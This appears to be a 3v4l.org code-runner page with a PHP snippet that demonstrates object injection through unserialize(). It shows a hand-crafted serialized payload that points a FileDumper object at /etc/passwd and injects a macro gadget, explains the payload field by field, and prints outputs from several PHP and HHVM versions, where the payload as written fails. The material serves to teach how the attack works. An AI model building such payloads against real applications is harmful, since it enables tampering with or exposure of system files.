3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class FileDumper { private $filename; public function __construct($filename) { $this->filename = $filename; } public function dump() { file_put_contents($this->filename); } // // Below is basically what Macroable does // private $macros = []; public function macro($name, $callable) { $this->macros[$name] = $callable; } public function __call($name, $arguments) { return call_user_func_array($this->macros[$name], $arguments); } } $exampleFileDumper = new FileDumper('/foo/bar.txt'); echo serialize($exampleFileDumper); // The plain, unedited FileDumper object // This is the one we tampered with $serialized = 'O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:11:"/etc/passwd";s:18:"FileDumpermacros";a:1:{s:4:"open";a:2:{i:0;r:1;i:1;s:4:"dump";}}}'; /* Neatly formatted with explanations: O:10:"FileDumper":2:{ # instance of FileDumper class with 2 properties s:20:"FileDumperfilename"; # property "filename" on "FileDumper" s:11:"/etc/passwd"; # altered to "/etc/passwd" - note the different length s:18:"FileDumpermacros"; # property "macros" on "FileDumper" - this was empty before, but we added something to it a:1:{ # it's an array with one element s:4:"open"; # under the key "open": a:2:{ # an array with 2 elements i:0; # under key 0: r:1; # a reference to the object itself (essentially just $this) i:1; # and under key 1: s:4:"dump"; # the string "dump" } } } */ $modifiedDumper = unserialize($serialized); $modifiedDumper->open();
Output for 7.3.0alpha1 - 7.3.0beta1
O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:12:"/foo/bar.txt";s:18:"FileDumpermacros";a:0:{}} Notice: unserialize(): Error at offset 47 of 137 bytes in /in/33cmF on line 55 Fatal error: Uncaught Error: Call to a member function open() on bool in /in/33cmF:56 Stack trace: #0 {main} thrown in /in/33cmF on line 56
Process exited with code 255.
Output for 7.0.0 - 7.2.11
O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:12:"/foo/bar.txt";s:18:"FileDumpermacros";a:0:{}} Notice: unserialize(): Error at offset 47 of 137 bytes in /in/33cmF on line 55 Fatal error: Uncaught Error: Call to a member function open() on boolean in /in/33cmF:56 Stack trace: #0 {main} thrown in /in/33cmF on line 56
Process exited with code 255.
Output for hhvm-3.22.0
O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:12:"/foo/bar.txt";s:18:"FileDumpermacros";a:0:{}} Notice: Unable to unserialize: [O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:11:"/etc/passwd";s:18:"FileDumpermacros";a:1:{s:4:"open";a:2:{i:0;r:1;i:1;s:4:"dump";}}}]. Expected '"' but got 's'. in /in/33cmF on line -1 Fatal error: Uncaught exception 'BadMethodCallException' with message 'Call to a member function open() on a non-object (boolean)' in /in/33cmF:-1 Stack trace: #0 {main}
Process exited with code 255.
Output for hhvm-3.18.5 - 3.21.3
O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:12:"/foo/bar.txt";s:18:"FileDumpermacros";a:0:{}} Notice: Unable to unserialize: [O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:11:"/etc/passwd";s:18:"FileDumpermacros";a:1:{s:4:"open";a:2:{i:0;r:1;i:1;s:4:"dump";}}}]. Expected '"' but got 's'. in /in/33cmF on line 55 Fatal error: Uncaught exception 'BadMethodCallException' with message 'Call to a member function open() on a non-object (boolean)' in /in/33cmF:56 Stack trace: #0 {main}
Process exited with code 255.
Output for 5.6.0 - 5.6.30
O:10:"FileDumper":2:{s:20:"FileDumperfilename";s:12:"/foo/bar.txt";s:18:"FileDumpermacros";a:0:{}} Notice: unserialize(): Error at offset 47 of 137 bytes in /in/33cmF on line 55 Fatal error: Call to a member function open() on boolean in /in/33cmF on line 56
Process exited with code 255.